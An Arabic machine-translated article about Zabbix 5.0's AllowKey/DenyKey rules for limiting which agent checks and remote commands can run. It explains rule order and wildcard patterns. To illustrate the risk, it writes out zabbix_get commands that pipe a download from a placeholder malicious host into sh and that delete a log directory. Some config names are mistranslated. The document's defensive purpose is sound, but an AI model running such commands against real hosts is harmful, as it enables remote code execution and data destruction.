دعم القائمة السوداء والقائمة البيضاء لمقاييس جانب الوكيل في Zabbix 5.0

دعم القائمة السوداء والقائمة البيضاء لمقاييس جانب الوكيل في Zabbix 5.0

دعم القائمة السوداء والقائمة البيضاء للمقاييس من جانب الوكيل

تيخون أوسكوف، مهندس التكامل، Zabbix

قضايا أمن البيانات

يحتوي Zabbix 5.0 على ميزة جديدة تتيح لك تحسين الأمان في الأنظمة التي تستخدم Zabbix Agent واستبدال المعلمة القديمة تمكينRemoteCommands.

تنبع التحسينات في أمان الأنظمة القائمة على الوكيل من حقيقة أن الوكيل يمكنه تنفيذ عدد كبير من الإجراءات التي يحتمل أن تكون خطرة.

  • يمكن للوكيل جمع أي معلومات تقريبًا، بما في ذلك المعلومات السرية أو التي يحتمل أن تكون خطرة، من ملفات التكوين أو ملفات السجل أو ملفات كلمة المرور أو أي ملفات أخرى.

على سبيل المثال، باستخدام الأداة المساعدة zabbix_get، يمكنك الوصول إلى قائمة المستخدمين، والأدلة الرئيسية الخاصة بهم، وملفات كلمات المرور، وما إلى ذلك.

دعم القائمة السوداء والقائمة البيضاء لمقاييس جانب الوكيل في Zabbix 5.0

الوصول إلى البيانات باستخدام الأداة المساعدة zabbix_get

ملاحظة. لا يمكن استرداد البيانات إلا إذا كان لدى الوكيل أذونات القراءة على الملف المقابل. ولكن، على سبيل المثال، الملف /الخ/passwd/ قابلة للقراءة من قبل جميع المستخدمين.

  • يمكن للوكيل أيضًا تنفيذ أوامر قد تكون خطرة. على سبيل المثال، مفتاح *تشغيل النظام[]** يسمح لك بتنفيذ أي أوامر عن بعد على عقد الشبكة، بما في ذلك تشغيل البرامج النصية من واجهة ويب Zabbix التي تنفذ أيضًا الأوامر من جانب الوكيل.

# zabbix_get -s my.prod.host -k system.run["wget http://malicious_source -O- | sh"]

# zabbix_get -s my.prod.host -k system.run["rm -rf /var/log/applog/"]

  • في Linux، يعمل الوكيل افتراضيًا دون امتيازات الجذر، بينما في Windows يعمل كخدمة كنظام وله وصول غير مقيد إلى نظام الملفات. وفقًا لذلك، إذا لم يتم إجراء أي تغييرات على معلمات Zabbix Agent بعد التثبيت، فسيتمتع الوكيل بإمكانية الوصول إلى السجل ونظام الملفات ويمكنه تنفيذ استعلامات WMI.

في الإصدارات السابقة المعلمة تمكينRemoteCommands=0 يُسمح فقط بتعطيل المقاييس باستخدام المفتاح *تشغيل النظام[]** وتشغيل البرامج النصية من واجهة الويب، ولكن لم تكن هناك طريقة لتقييد الوصول إلى الملفات الفردية، أو السماح أو تعطيل المفاتيح الفردية التي تم تثبيتها مع الوكيل، أو تقييد استخدام المعلمات الفردية.

دعم القائمة السوداء والقائمة البيضاء لمقاييس جانب الوكيل في Zabbix 5.0

استخدام المعلمة EnableRemoteCommand في الإصدارات السابقة من Zabbix

مفتاح السماح/مفتاح الرفض

يساعد Zabbix 5.0 على الحماية من هذا الوصول غير المصرح به من خلال توفير قوائم بيضاء وقوائم سوداء للسماح بالمقاييس ورفضها من جانب الوكيل.

في Zabbix 5.0 جميع المفاتيح، بما في ذلك *تشغيل النظام[]** تم تمكينها، وتمت إضافة خيارين جديدين لتكوين الوكيل:

السماح بالمفتاح= — الشيكات المسموح بها؛

DenyKey= — الشيكات المحظورة؛

أين هو نمط اسم المفتاح مع المعلمات التي تستخدم الأحرف الأولية (*).

يسمح لك مفتاحاAllowKey وDenyKey بالسماح بالمقاييس الفردية أو رفضها بناءً على نمط محدد. وبخلاف معلمات التكوين الأخرى، فإن عدد معلماتallowKey/DenyKey غير محدود. يتيح لك ذلك أن تحدد بوضوح ما يمكن للوكيل فعله بالضبط في النظام من خلال إنشاء شجرة من الشيكات - مفاتيح قابلة للتنفيذ، حيث يلعب الترتيب الذي تمت كتابته به دورًا مهمًا للغاية.

تسلسل القواعد

يتم التحقق من القواعد بالترتيب الذي تم إدخالها به في ملف التكوين. يتم التحقق من المفتاح وفقًا للقواعد قبل المطابقة الأولى، وبمجرد تطابق مفتاح عنصر البيانات مع النمط، يتم السماح به أو رفضه. بعد ذلك، يتوقف فحص القواعد ويتم تجاهل المفاتيح المتبقية.

ولذلك، إذا كان العنصر يتطابق مع قاعدة السماح والرفض، فستعتمد النتيجة على القاعدة الأولى في ملف التكوين.

دعم القائمة السوداء والقائمة البيضاء لمقاييس جانب الوكيل في Zabbix 5.0

قاعدتان مختلفتان بنفس النمط والمفتاح vfs.file.size[/tmp/file]

ترتيب استخدام مفاتيحAllowKey/DenyKey:

  1. القواعد الدقيقة،
  2. قواعد عامة،
  3. القاعدة المحظورة.

على سبيل المثال، إذا كنت بحاجة إلى الوصول إلى الملفات الموجودة في مجلد معين، فيجب عليك أولاً السماح بالوصول إليها، ثم رفض كل شيء آخر لا يقع ضمن الأذونات المحددة. إذا تم استخدام قاعدة الرفض أولاً، فسيتم رفض الوصول إلى المجلد.

دعم القائمة السوداء والقائمة البيضاء لمقاييس جانب الوكيل في Zabbix 5.0

التسلسل الصحيح

إذا كنت بحاجة إلى السماح بتشغيل أداتين مساعدة عبر *تشغيل النظام[]**، وسيتم تحديد قاعدة الرفض أولاً، ولن يتم تشغيل الأدوات المساعدة، لأن النمط الأول سيتطابق دائمًا مع أي مفتاح، وسيتم تجاهل القواعد اللاحقة.

دعم القائمة السوداء والقائمة البيضاء لمقاييس جانب الوكيل في Zabbix 5.0

تسلسل غير صحيح

أنماط - رسم

القواعد الأساسية

النمط هو تعبير بأحرف البدل. يطابق الحرف الأولي (*) أي عدد من أي أحرف في موضع محدد. يمكن استخدام الأحرف الأولية في اسم المفتاح وفي المعلمات. على سبيل المثال، يمكنك تحديد المعلمة الأولى بدقة مع النص، وحدد التالي كحرف بدل.

يجب أن تكون المعلمات محاطة بين قوسين مربعين [].

  • system.run[* - خاطئ
  • vfs.file*.txt] - خاطئ
  • vfs.file.*[*] - حقا

أمثلة على استخدام أحرف البدل.

  1. في اسم المفتاح وفي المعلمة. في هذه الحالة، لا يتوافق المفتاح مع مفتاح مماثل لا يحتوي على معلمة، حيث أشرنا في النمط إلى أننا نريد الحصول على نهاية معينة لاسم المفتاح ومجموعة معينة من المعلمات.
  2. إذا كان النمط لا يستخدم الأقواس المربعة، فإن النمط يسمح بجميع المفاتيح التي لا تحتوي على معلمات ويرفض جميع المفاتيح التي تحتوي على المعلمة المحددة.
  3. إذا تمت كتابة المفتاح بالكامل وتم تحديد المعلمات كحرف بدل، فسوف يطابق أي مفتاح مشابه مع أي معلمات ولن يطابق المفتاح بدون أقواس مربعة، أي سيتم السماح به أو رفضه.

دعم القائمة السوداء والقائمة البيضاء لمقاييس جانب الوكيل في Zabbix 5.0

قواعد لملء المعلمات.

  • إذا كان المقصود استخدام مفتاح يحتوي على معلمات، فيجب تحديد المعلمات في ملف التكوين. يجب تحديد المعلمات كحرف أولي. من الضروري رفض الوصول إلى أي ملف بعناية ومراعاة المعلومات التي يمكن أن يوفرها المقياس تحت تهجئات مختلفة - مع المعلمات وبدونها.

دعم القائمة السوداء والقائمة البيضاء لمقاييس جانب الوكيل في Zabbix 5.0

ميزات كتابة المفاتيح مع المعلمات

  • إذا تم تحديد مفتاح بمعلمات، ولكن المعلمات اختيارية وتم تحديدها كحرف أولي، فسيتم حل المفتاح بدون معلمات. على سبيل المثال، إذا كنت تريد تعطيل تلقي معلومات حول الحمل على وحدة المعالجة المركزية وتحديد أنه يجب تعطيل مفتاح system.cpu.load[*]، فلا تنس أن المفتاح الذي لا يحتوي على معلمات سيُرجع متوسط ​​قيمة التحميل.

دعم القائمة السوداء والقائمة البيضاء لمقاييس جانب الوكيل في Zabbix 5.0

قواعد لملء المعلمات

تصريحات

تعديل

  • لا يمكن للمستخدم تغيير بعض القواعد، على سبيل المثال، قواعد الاكتشاف أو قواعد التسجيل التلقائي للوكيل. لا تؤثر قواعدallowKey/DenyKey على المعلمات التالية:
    - عنصر اسم المضيف
    - عنصر بيانات المضيف
    - عنصر واجهة المضيف

ملاحظة. إذا قام المسؤول بتعطيل مفتاح، عند الاستعلام عنه، لا يوفر Zabbix معلومات حول سبب وقوع المقياس أو المفتاح ضمن الفئة "غير مدعوم'. لا يتم أيضًا عرض المعلومات المتعلقة بحظر تنفيذ الأوامر عن بعد في ملفات سجل الوكيل. وذلك لأسباب أمنية، ولكن يمكن أن يؤدي إلى تعقيد تصحيح الأخطاء إذا كانت المقاييس تندرج ضمن فئة غير مدعومة لسبب ما.

  • يجب ألا تعتمد على أي ترتيب محدد لتوصيل ملفات التكوين الخارجية (على سبيل المثال، حسب الترتيب الأبجدي).

أدوات سطر الأوامر

بعد إعداد القواعد، عليك التأكد من تكوين كل شيء بشكل صحيح.

يمكنك استخدام أحد الخيارات الثلاثة:

  • أضف مقياسًا إلى Zabbix.
  • اختبار مع zabbix_agentd. وكيل Zabbix مع الخيار -طباعة (-ع) يعرض جميع المفاتيح (المسموح بها افتراضيًا) باستثناء تلك غير المسموح بها بواسطة التكوين. ومع الخيار -اختبار (-ر) لأن المفتاح الممنوع سيعود 'مفتاح العنصر غير معتمد".
  • اختبار مع zabbix_get. جدوى zabbix_get مع الخيار -k سيعود 'ZBX_NOTSUPPORTED: مقياس غير معروف".

السماح أو الرفض

يمكنك رفض الوصول إلى ملف والتحقق منه، على سبيل المثال، باستخدام الأداة المساعدة zabbix_getتم رفض الوصول إلى الملف.

دعم القائمة السوداء والقائمة البيضاء لمقاييس جانب الوكيل في Zabbix 5.0

**

ملاحظة. يتم تجاهل الاقتباسات في المعلمة.

في هذه الحالة، قد يتم السماح بالوصول إلى مثل هذا الملف عبر مسار مختلف. على سبيل المثال، إذا كان الارتباط الرمزي يؤدي إليه.

دعم القائمة السوداء والقائمة البيضاء لمقاييس جانب الوكيل في Zabbix 5.0

يوصى بالتحقق من الخيارات المختلفة لتطبيق القواعد المحددة، وكذلك مراعاة إمكانيات التحايل على المحظورات.

أسئلة وأجوبة

سؤال. لماذا تم اختيار هذا النمط المعقد بلغته الخاصة لوصف القواعد والأذونات والمحظورات؟ لماذا لم يكن من الممكن، على سبيل المثال، استخدام التعبيرات العادية التي يستخدمها Zabbix؟

إجابة. هذه مشكلة في أداء التعبير العادي نظرًا لوجود وكيل واحد فقط عادةً ويقوم بالتحقق من عدد كبير من المقاييس. تعد عملية Regex عملية ثقيلة جدًا ولا يمكننا التحقق من آلاف المقاييس بهذه الطريقة. أحرف البدل - حل عالمي ومستخدم على نطاق واسع وبسيط.

سؤال. أليست ملفات التضمين مضمنة بالترتيب الأبجدي؟

إجابة. بقدر ما أعرف، يكاد يكون من المستحيل التنبؤ بالترتيب الذي سيتم تطبيق القواعد به إذا قمت بتوزيع القواعد عبر ملفات مختلفة. أوصي بتجميع جميع قواعدallowKey/DenyKey في ملف تضمين واحد، لأنها تتفاعل مع بعضها البعض، وتضمين هذا الملف.

سؤال. في Zabbix 5.0 الخيار "تمكينRemoteCommands=' مفقود من ملف التكوين، ولا يتوفر سوىAllowKey/DenyKey؟

إجابة. نعم هذا صحيح.

شكرا لك!

المصدر: www.habr.com

إضافة تعليق